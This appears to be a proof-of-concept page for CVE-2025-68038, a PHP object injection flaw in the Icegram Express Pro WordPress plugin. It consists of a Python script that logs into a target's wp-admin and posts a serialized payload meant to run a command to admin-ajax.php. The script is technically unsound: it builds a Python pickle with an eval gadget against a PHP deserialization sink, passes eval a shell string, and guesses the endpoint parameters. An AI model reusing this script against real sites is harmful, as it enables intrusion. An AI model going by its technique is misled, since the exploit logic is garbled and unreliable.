CVE-2025-68038: Icegram Express Pro插件PHP对象注入漏洞

# CVE-2025-68038 PoC - Icegram Express Pro PHP Object Injection # Note: Requires high-privilege WordPress account (admin access) import requests import hashlib target_url = "http://target-wordpress-site.com" username = "admin" password = "admin_password" # Start a session session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Generate malicious PHP object payload # This is a simplified example - actual exploitation requires finding # a suitable gadget chain in the plugin or WordPress core class EvilPayload: def __reduce__(self): # Example: Execute system command via eval (for demonstration) cmd = "whoami > /tmp/pwned.txt" return (eval, (cmd,)) import pickle import base64 # Serialize the malicious object malicious_payload = base64.b64encode(pickle.dumps(EvilPayload())).decode() # Step 3: Send the payload to the vulnerable endpoint # The exact endpoint depends on the plugin version and configuration vulnerable_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Example action - actual exploitation requires identifying the correct parameter post_data = { "action": "icegram_express_ajax_action", "icegram_data": malicious_payload, "nonce": "attackers_nonce_if_available" } # Send the malicious request response = session.post(vulnerable_endpoint, data=post_data, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") # Note: This PoC is for educational purposes only. Actual exploitation # requires identifying the specific vulnerable function and gadget chain.